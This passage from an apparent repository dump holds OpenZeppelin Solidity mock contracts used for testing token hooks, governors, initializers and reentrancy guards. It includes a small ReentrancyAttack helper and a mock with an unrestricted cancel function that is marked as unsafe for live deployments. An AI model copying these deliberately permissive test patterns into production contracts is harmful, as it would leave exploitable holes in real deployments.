    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC777/IERC777.sol\";\nimport \"../token/ERC777/IERC777Sender.sol\";\nimport \"../token/ERC777/IERC777Recipient.sol\";\nimport \"../utils/Context.sol\";\nimport \"../utils/introspection/IERC1820Registry.sol\";\nimport \"../utils/introspection/ERC1820Implementer.sol\";\n\ncontract ERC777SenderRecipientMock is Context, IERC777Sender, IERC777Recipient, ERC1820Implementer {\n    event TokensToSendCalled(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes data,\n        bytes operatorData,\n        address token,\n        uint256 fromBalance,\n        uint256 toBalance\n    );\n\n    event TokensReceivedCalled(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes data,\n        bytes operatorData,\n        address token,\n        uint256 fromBalance,\n        uint256 toBalance\n    );\n\n    // Emitted in ERC777Mock. Here for easier decoding\n    event BeforeTokenTransfer();\n\n    bool private _shouldRevertSend;\n    bool private _shouldRevertReceive;\n\n    IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);\n\n    bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256(\"ERC777TokensSender\");\n    bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256(\"ERC777TokensRecipient\");\n\n    function tokensToSend(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes calldata userData,\n        bytes calldata operatorData\n    ) external override {\n        if (_shouldRevertSend) {\n            revert();\n        }\n\n        IERC777 token = IERC777(_msgSender());\n\n        uint256 fromBalance = token.balanceOf(from);\n        // when called due to burn, to will be the zero address, which will have a balance of 0\n        uint256 toBalance = token.balanceOf(to);\n\n        emit TokensToSendCalled(\n            operator,\n            from,\n            to,\n            amount,\n            userData,\n            operatorData,\n            address(token),\n            fromBalance,\n            toBalance\n        );\n    }\n\n    function tokensReceived(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes calldata userData,\n        bytes calldata operatorData\n    ) external override {\n        if (_shouldRevertReceive) {\n            revert();\n        }\n\n        IERC777 token = IERC777(_msgSender());\n\n        uint256 fromBalance = token.balanceOf(from);\n        // when called due to burn, to will be the zero address, which will have a balance of 0\n        uint256 toBalance = token.balanceOf(to);\n\n        emit TokensReceivedCalled(\n            operator,\n            from,\n            to,\n            amount,\n            userData,\n            operatorData,\n            address(token),\n            fromBalance,\n            toBalance\n        );\n    }\n\n    function senderFor(address account) public {\n        _registerInterfaceForAddress(_TOKENS_SENDER_INTERFACE_HASH, account);\n\n        address self = address(this);\n        if (account == self) {\n            registerSender(self);\n        }\n    }\n\n    function registerSender(address sender) public {\n        _erc1820.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, sender);\n    }\n\n    function recipientFor(address account) public {\n        _registerInterfaceForAddress(_TOKENS_RECIPIENT_INTERFACE_HASH, account);\n\n        address self = address(this);\n        if (account == self) {\n            registerRecipient(self);\n        }\n    }\n\n    function registerRecipient(address recipient) public {\n        _erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, recipient);\n    }\n\n    function setShouldRevertSend(bool shouldRevert) public {\n        _shouldRevertSend = shouldRevert;\n    }\n\n    function setShouldRevertReceive(bool shouldRevert) public {\n        _shouldRevertReceive = shouldRevert;\n    }\n\n    function send(\n        IERC777 token,\n        address to,\n        uint256 amount,\n        bytes memory data\n    ) public {\n        // This is 777's send function, not the Solidity send function\n        token.send(to, amount, data); // solhint-disable-line check-send-result\n    }\n\n    function burn(\n        IERC777 token,\n        uint256 amount,\n        bytes memory data\n    ) public {\n        token.burn(amount, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/EnumerableMapMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/structs/EnumerableMap.sol\";\n\ncontract EnumerableMapMock {\n    using EnumerableMap for EnumerableMap.UintToAddressMap;\n\n    event OperationResult(bool result);\n\n    EnumerableMap.UintToAddressMap private _map;\n\n    function contains(uint256 key) public view returns (bool) {\n        return _map.contains(key);\n    }\n\n    function set(uint256 key, address value) public {\n        bool result = _map.set(key, value);\n        emit OperationResult(result);\n    }\n\n    function remove(uint256 key) public {\n        bool result = _map.remove(key);\n        emit OperationResult(result);\n    }\n\n    function length() public view returns (uint256) {\n        return _map.length();\n    }\n\n    function at(uint256 index) public view returns (uint256 key, address value) {\n        return _map.at(index);\n    }\n\n    function tryGet(uint256 key) public view returns (bool, address) {\n        return _map.tryGet(key);\n    }\n\n    function get(uint256 key) public view returns (address) {\n        return _map.get(key);\n    }\n\n    function getWithMessage(uint256 key, string calldata errorMessage) public view returns (address) {\n        return _map.get(key, errorMessage);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/EnumerableSetMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/structs/EnumerableSet.sol\";\n\n// Bytes32Set\ncontract EnumerableBytes32SetMock {\n    using EnumerableSet for EnumerableSet.Bytes32Set;\n\n    event OperationResult(bool result);\n\n    EnumerableSet.Bytes32Set private _set;\n\n    function contains(bytes32 value) public view returns (bool) {\n        return _set.contains(value);\n    }\n\n    function add(bytes32 value) public {\n        bool result = _set.add(value);\n        emit OperationResult(result);\n    }\n\n    function remove(bytes32 value) public {\n        bool result = _set.remove(value);\n        emit OperationResult(result);\n    }\n\n    function length() public view returns (uint256) {\n        return _set.length();\n    }\n\n    function at(uint256 index) public view returns (bytes32) {\n        return _set.at(index);\n    }\n\n    function values() public view returns (bytes32[] memory) {\n        return _set.values();\n    }\n}\n\n// AddressSet\ncontract EnumerableAddressSetMock {\n    using EnumerableSet for EnumerableSet.AddressSet;\n\n    event OperationResult(bool result);\n\n    EnumerableSet.AddressSet private _set;\n\n    function contains(address value) public view returns (bool) {\n        return _set.contains(value);\n    }\n\n    function add(address value) public {\n        bool result = _set.add(value);\n        emit OperationResult(result);\n    }\n\n    function remove(address value) public {\n        bool result = _set.remove(value);\n        emit OperationResult(result);\n    }\n\n    function length() public view returns (uint256) {\n        return _set.length();\n    }\n\n    function at(uint256 index) public view returns (address) {\n        return _set.at(index);\n    }\n\n    function values() public view returns (address[] memory) {\n        return _set.values();\n    }\n}\n\n// UintSet\ncontract EnumerableUintSetMock {\n    using EnumerableSet for EnumerableSet.UintSet;\n\n    event OperationResult(bool result);\n\n    EnumerableSet.UintSet private _set;\n\n    function contains(uint256 value) public view returns (bool) {\n        return _set.contains(value);\n    }\n\n    function add(uint256 value) public {\n        bool result = _set.add(value);\n        emit OperationResult(result);\n    }\n\n    function remove(uint256 value) public {\n        bool result = _set.remove(value);\n        emit OperationResult(result);\n    }\n\n    function length() public view returns (uint256) {\n        return _set.length();\n    }\n\n    function at(uint256 index) public view returns (uint256) {\n        return _set.at(index);\n    }\n\n    function values() public view returns (uint256[] memory) {\n        return _set.values();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/EtherReceiverMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract EtherReceiverMock {\n    bool private _acceptEther;\n\n    function setAcceptEther(bool acceptEther) public {\n        _acceptEther = acceptEther;\n    }\n\n    receive() external payable {\n        if (!_acceptEther) {\n            revert();\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/GovernorCompMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../governance/extensions/GovernorCountingSimple.sol\";\nimport \"../governance/extensions/GovernorVotesComp.sol\";\n\ncontract GovernorCompMock is GovernorVotesComp, GovernorCountingSimple {\n    constructor(string memory name_, ERC20VotesComp token_) Governor(name_) GovernorVotesComp(token_) {}\n\n    function quorum(uint256) public pure override returns (uint256) {\n        return 0;\n    }\n\n    function votingDelay() public pure override returns (uint256) {\n        return 4;\n    }\n\n    function votingPeriod() public pure override returns (uint256) {\n        return 16;\n    }\n\n    function cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public returns (uint256 proposalId) {\n        return _cancel(targets, values, calldatas, salt);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        virtual\n        override(IGovernor, GovernorVotesComp)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/GovernorCompatibilityBravoMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../governance/compatibility/GovernorCompatibilityBravo.sol\";\nimport \"../governance/extensions/GovernorTimelockCompound.sol\";\nimport \"../governance/extensions/GovernorSettings.sol\";\nimport \"../governance/extensions/GovernorVotesComp.sol\";\n\ncontract GovernorCompatibilityBravoMock is\n    GovernorCompatibilityBravo,\n    GovernorSettings,\n    GovernorTimelockCompound,\n    GovernorVotesComp\n{\n    constructor(\n        string memory name_,\n        ERC20VotesComp token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        uint256 proposalThreshold_,\n        ICompoundTimelock timelock_\n    )\n        Governor(name_)\n        GovernorTimelockCompound(timelock_)\n        GovernorSettings(votingDelay_, votingPeriod_, proposalThreshold_)\n        GovernorVotesComp(token_)\n    {}\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        virtual\n        override(IERC165, Governor, GovernorTimelockCompound)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n\n    function quorum(uint256) public pure override returns (uint256) {\n        return 0;\n    }\n\n    function state(uint256 proposalId)\n        public\n        view\n        virtual\n        override(IGovernor, Governor, GovernorTimelockCompound)\n        returns (ProposalState)\n    {\n        return super.state(proposalId);\n    }\n\n    function proposalEta(uint256 proposalId)\n        public\n        view\n        virtual\n        override(IGovernorTimelock, GovernorTimelockCompound)\n        returns (uint256)\n    {\n        return super.proposalEta(proposalId);\n    }\n\n    function proposalThreshold() public view override(Governor, GovernorSettings) returns (uint256) {\n        return super.proposalThreshold();\n    }\n\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override(IGovernor, Governor, GovernorCompatibilityBravo) returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n\n    function queue(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public virtual override(IGovernorTimelock, GovernorTimelockCompound) returns (uint256) {\n        return super.queue(targets, values, calldatas, salt);\n    }\n\n    function execute(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public payable virtual override(IGovernor, Governor) returns (uint256) {\n        return super.execute(targets, values, calldatas, salt);\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override(Governor, GovernorTimelockCompound) {\n        super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    /**\n     * @notice WARNING: this is for mock purposes only. Ability to the _cancel function should be restricted for live\n     * deployments.\n     */\n    function cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public returns (uint256 proposalId) {\n        return _cancel(targets, values, calldatas, salt);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) internal virtual override(Governor, GovernorTimelockCompound) returns (uint256 proposalId) {\n        return super._cancel(targets, values, calldatas, salt);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        virtual\n        override(IGovernor, GovernorVotesComp)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function _executor() internal view virtual override(Governor, GovernorTimelockCompound) returns (address) {\n        return super._executor();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/GovernorMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../governance/extensions/GovernorProposalThreshold.sol\";\nimport \"../governance/extensions/GovernorSettings.sol\";\nimport \"../governance/extensions/GovernorCountingSimple.sol\";\nimport \"../governance/extensions/GovernorVotesQuorumFraction.sol\";\n\ncontract GovernorMock is\n    GovernorProposalThreshold,\n    GovernorSettings,\n    GovernorVotesQuorumFraction,\n    GovernorCountingSimple\n{\n    constructor(\n        string memory name_,\n        ERC20Votes token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        uint256 quorumNumerator_\n    )\n        Governor(name_)\n        GovernorSettings(votingDelay_, votingPeriod_, 0)\n        GovernorVotes(token_)\n        GovernorVotesQuorumFraction(quorumNumerator_)\n    {}\n\n    function cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public returns (uint256 proposalId) {\n        return _cancel(targets, values, calldatas, salt);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        virtual\n        override(IGovernor, GovernorVotes)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function proposalThreshold() public view override(Governor, GovernorSettings) returns (uint256) {\n        return super.proposalThreshold();\n    }\n\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override(Governor, GovernorProposalThreshold) returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/GovernorTimelockCompoundMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../governance/extensions/GovernorTimelockCompound.sol\";\nimport \"../governance/extensions/GovernorSettings.sol\";\nimport \"../governance/extensions/GovernorCountingSimple.sol\";\nimport \"../governance/extensions/GovernorVotesQuorumFraction.sol\";\n\ncontract GovernorTimelockCompoundMock is\n    GovernorSettings,\n    GovernorTimelockCompound,\n    GovernorVotesQuorumFraction,\n    GovernorCountingSimple\n{\n    constructor(\n        string memory name_,\n        ERC20Votes token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        ICompoundTimelock timelock_,\n        uint256 quorumNumerator_\n    )\n        Governor(name_)\n        GovernorTimelockCompound(timelock_)\n        GovernorSettings(votingDelay_, votingPeriod_, 0)\n        GovernorVotes(token_)\n        GovernorVotesQuorumFraction(quorumNumerator_)\n    {}\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        virtual\n        override(Governor, GovernorTimelockCompound)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n\n    function quorum(uint256 blockNumber)\n        public\n        view\n        override(IGovernor, GovernorVotesQuorumFraction)\n        returns (uint256)\n    {\n        return super.quorum(blockNumber);\n    }\n\n    function cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) public returns (uint256 proposalId) {\n        return _cancel(targets, values, calldatas, salt);\n    }\n\n    /**\n     * Overriding nightmare\n     */\n    function state(uint256 proposalId)\n        public\n        view\n        virtual\n        override(Governor, GovernorTimelockCompound)\n        returns (ProposalState)\n    {\n        return super.state(proposalId);\n    }\n\n    function proposalThreshold() public view override(Governor, GovernorSettings) returns (uint256) {\n        return super.proposalThreshold();\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override(Governor, GovernorTimelockCompound) {\n        super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 salt\n    ) internal virtual override(Governor, GovernorTimelockCompound) returns (uint256 proposalId) {\n        return super._cancel(targets, values, calldatas, salt);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        virtual\n        override(IGovernor, GovernorVotes)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function _executor() internal view virtual override(Governor, GovernorTimelockCompound) returns (address) {\n        return super._executor();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/GovernorTimelockControlMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../governance/extensions/GovernorTimelockControl.sol\";\nimport \"../governance/extensions/GovernorSettings.sol\";\nimport \"../governance/extensions/GovernorCountingSimple.sol\";\nimport \"../governance/extensions/GovernorVotesQuorumFraction.sol\";\n\ncontract GovernorTimelockControlMock is\n    GovernorSettings,\n    GovernorTimelockControl,\n    GovernorVotesQuorumFraction,\n    GovernorCountingSimple\n{\n    constructor(\n        string memory name_,\n        ERC20Votes token_,\n        uint256 votingDelay_,\n        uint256 votingPeriod_,\n        TimelockController timelock_,\n        uint256 quorumNumerator_\n    )\n        Governor(name_)\n        GovernorTimelockControl(timelock_)\n        GovernorSettings(votingDelay_, votingPeriod_, 0)\n        GovernorVotes(token_)\n        GovernorVotesQuorumFraction(quorumNumerator_)\n    {}\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        virtual\n        override(Governor, GovernorTimelockControl)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n\n    function quorum(uint256 blockNumber)\n        public\n        view\n        override(IGovernor, GovernorVotesQuorumFraction)\n        returns (uint256)\n    {\n        return super.quorum(blockNumber);\n    }\n\n    function cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public returns (uint256 proposalId) {\n        return _cancel(targets, values, calldatas, descriptionHash);\n    }\n\n    /**\n     * Overriding nightmare\n     */\n    function state(uint256 proposalId)\n        public\n        view\n        virtual\n        override(Governor, GovernorTimelockControl)\n        returns (ProposalState)\n    {\n        return super.state(proposalId);\n    }\n\n    function proposalThreshold() public view override(Governor, GovernorSettings) returns (uint256) {\n        return super.proposalThreshold();\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override(Governor, GovernorTimelockControl) {\n        super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override(Governor, GovernorTimelockControl) returns (uint256 proposalId) {\n        return super._cancel(targets, values, calldatas, descriptionHash);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        virtual\n        override(IGovernor, GovernorVotes)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function _executor() internal view virtual override(Governor, GovernorTimelockControl) returns (address) {\n        return super._executor();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/InitializableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @title InitializableMock\n * @dev This contract is a mock to test initializable functionality\n */\ncontract InitializableMock is Initializable {\n    bool public initializerRan;\n    bool public onlyInitializingRan;\n    uint256 public x;\n\n    function initialize() public initializer {\n        initializerRan = true;\n    }\n\n    function initializeOnlyInitializing() public onlyInitializing {\n        onlyInitializingRan = true;\n    }\n\n    function initializerNested() public initializer {\n        initialize();\n    }\n\n    function onlyInitializingNested() public initializer {\n        initializeOnlyInitializing();\n    }\n\n    function initializeWithX(uint256 _x) public payable initializer {\n        x = _x;\n    }\n\n    function nonInitializable(uint256 _x) public payable {\n        x = _x;\n    }\n\n    function fail() public pure {\n        require(false, \"InitializableMock forced failure\");\n    }\n}\n\ncontract ConstructorInitializableMock is Initializable {\n    bool public initializerRan;\n    bool public onlyInitializingRan;\n\n    constructor() initializer {\n        initialize();\n        initializeOnlyInitializing();\n    }\n\n    function initialize() public initializer {\n        initializerRan = true;\n    }\n\n    function initializeOnlyInitializing() public onlyInitializing {\n        onlyInitializingRan = true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/MathMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/math/Math.sol\";\n\ncontract MathMock {\n    function max(uint256 a, uint256 b) public pure returns (uint256) {\n        return Math.max(a, b);\n    }\n\n    function min(uint256 a, uint256 b) public pure returns (uint256) {\n        return Math.min(a, b);\n    }\n\n    function average(uint256 a, uint256 b) public pure returns (uint256) {\n        return Math.average(a, b);\n    }\n\n    function ceilDiv(uint256 a, uint256 b) public pure returns (uint256) {\n        return Math.ceilDiv(a, b);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/MerkleProofWrapper.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/MerkleProof.sol\";\n\ncontract MerkleProofWrapper {\n    function verify(\n        bytes32[] memory proof,\n        bytes32 root,\n        bytes32 leaf\n    ) public pure returns (bool) {\n        return MerkleProof.verify(proof, root, leaf);\n    }\n\n    function processProof(bytes32[] memory proof, bytes32 leaf) public pure returns (bytes32) {\n        return MerkleProof.processProof(proof, leaf);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/MulticallTest.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./MulticallTokenMock.sol\";\n\ncontract MulticallTest {\n    function testReturnValues(\n        MulticallTokenMock multicallToken,\n        address[] calldata recipients,\n        uint256[] calldata amounts\n    ) external {\n        bytes[] memory calls = new bytes[](recipients.length);\n        for (uint256 i = 0; i < recipients.length; i++) {\n            calls[i] = abi.encodeWithSignature(\"transfer(address,uint256)\", recipients[i], amounts[i]);\n        }\n\n        bytes[] memory results = multicallToken.multicall(calls);\n        for (uint256 i = 0; i < results.length; i++) {\n            require(abi.decode(results[i], (bool)));\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/MulticallTokenMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Multicall.sol\";\nimport \"./ERC20Mock.sol\";\n\ncontract MulticallTokenMock is ERC20Mock, Multicall {\n    constructor(uint256 initialBalance) ERC20Mock(\"MulticallToken\", \"BCT\", msg.sender, initialBalance) {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/MultipleInheritanceInitializableMocks.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../proxy/utils/Initializable.sol\";\n\n// Sample contracts showing upgradeability with multiple inheritance.\n// Child contract inherits from Father and Mother contracts, and Father extends from Gramps.\n//\n//         Human\n//       /       \\\n//      |       Gramps\n//      |         |\n//    Mother    Father\n//      |         |\n//      -- Child --\n\n/**\n * Sample base intializable contract that is a human\n */\ncontract SampleHuman is Initializable {\n    bool public isHuman;\n\n    function initialize() public initializer {\n        __SampleHuman_init();\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleHuman_init() internal onlyInitializing {\n        __SampleHuman_init_unchained();\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleHuman_init_unchained() internal onlyInitializing {\n        isHuman = true;\n    }\n}\n\n/**\n * Sample base intializable contract that defines a field mother\n */\ncontract SampleMother is Initializable, SampleHuman {\n    uint256 public mother;\n\n    function initialize(uint256 value) public virtual initializer {\n        __SampleMother_init(value);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleMother_init(uint256 value) internal onlyInitializing {\n        __SampleHuman_init();\n        __SampleMother_init_unchained(value);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleMother_init_unchained(uint256 value) internal onlyInitializing {\n        mother = value;\n    }\n}\n\n/**\n * Sample base intializable contract that defines a field gramps\n */\ncontract SampleGramps is Initializable, SampleHuman {\n    string public gramps;\n\n    function initialize(string memory value) public virtual initializer {\n        __SampleGramps_init(value);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleGramps_init(string memory value) internal onlyInitializing {\n        __SampleHuman_init();\n        __SampleGramps_init_unchained(value);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleGramps_init_unchained(string memory value) internal onlyInitializing {\n        gramps = value;\n    }\n}\n\n/**\n * Sample base intializable contract that defines a field father and extends from gramps\n */\ncontract SampleFather is Initializable, SampleGramps {\n    uint256 public father;\n\n    function initialize(string memory _gramps, uint256 _father) public initializer {\n        __SampleFather_init(_gramps, _father);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleFather_init(string memory _gramps, uint256 _father) internal onlyInitializing {\n        __SampleGramps_init(_gramps);\n        __SampleFather_init_unchained(_father);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleFather_init_unchained(uint256 _father) internal onlyInitializing {\n        father = _father;\n    }\n}\n\n/**\n * Child extends from mother, father (gramps)\n */\ncontract SampleChild is Initializable, SampleMother, SampleFather {\n    uint256 public child;\n\n    function initialize(\n        uint256 _mother,\n        string memory _gramps,\n        uint256 _father,\n        uint256 _child\n    ) public initializer {\n        __SampleChild_init(_mother, _gramps, _father, _child);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleChild_init(\n        uint256 _mother,\n        string memory _gramps,\n        uint256 _father,\n        uint256 _child\n    ) internal onlyInitializing {\n        __SampleMother_init(_mother);\n        __SampleFather_init(_gramps, _father);\n        __SampleChild_init_unchained(_child);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function __SampleChild_init_unchained(uint256 _child) internal onlyInitializing {\n        child = _child;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/OwnableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../access/Ownable.sol\";\n\ncontract OwnableMock is Ownable {}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/PausableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../security/Pausable.sol\";\n\ncontract PausableMock is Pausable {\n    bool public drasticMeasureTaken;\n    uint256 public count;\n\n    constructor() {\n        drasticMeasureTaken = false;\n        count = 0;\n    }\n\n    function normalProcess() external whenNotPaused {\n        count++;\n    }\n\n    function drasticMeasure() external whenPaused {\n        drasticMeasureTaken = true;\n    }\n\n    function pause() external {\n        _pause();\n    }\n\n    function unpause() external {\n        _unpause();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/PullPaymentMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../security/PullPayment.sol\";\n\n// mock class using PullPayment\ncontract PullPaymentMock is PullPayment {\n    constructor() payable {}\n\n    // test helper function to call asyncTransfer\n    function callTransfer(address dest, uint256 amount) public {\n        _asyncTransfer(dest, amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ReentrancyAttack.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\ncontract ReentrancyAttack is Context {\n    function callSender(bytes4 data) public {\n        (bool success, ) = _msgSender().call(abi.encodeWithSelector(data));\n        require(success, \"ReentrancyAttack: failed call\");\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ReentrancyMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../security/ReentrancyGuard.sol\";\nimport \"./ReentrancyAttack.sol\";\n\ncontract ReentrancyMock is ReentrancyGuard {\n    uint256 public counter;\n\n    constructor() {\n        counter = 0;\n    }\n\n    function callback() external nonReentrant {\n        _count();\n    }\n\n    function countLocalRecursive(uint256 n) public nonReentrant {\n        if (n > 0) {\n            _count();\n            countLocalRecursive(n - 1);\n        }\n    }\n\n    function countThisRecursive(uint256 n) public nonReentrant {\n        if (n > 0) {\n            _count();\n            (bool success, ) = address(this).call(abi.encodeWithSignature(\"countThisRecursive(uint256)\", n - 1));\n            require(success, \"ReentrancyMock: failed call\");\n        }\n    }\n\n    function countAndCall(ReentrancyAttack attacker) public nonReentrant {\n        _count();\n        bytes4 func = bytes4(keccak256(\"callback()\"));\n        attacker.callSender(func);\n    }\n\n    function _count() private {\n        counter += 1;\n    }\n}\n"
  },
  {
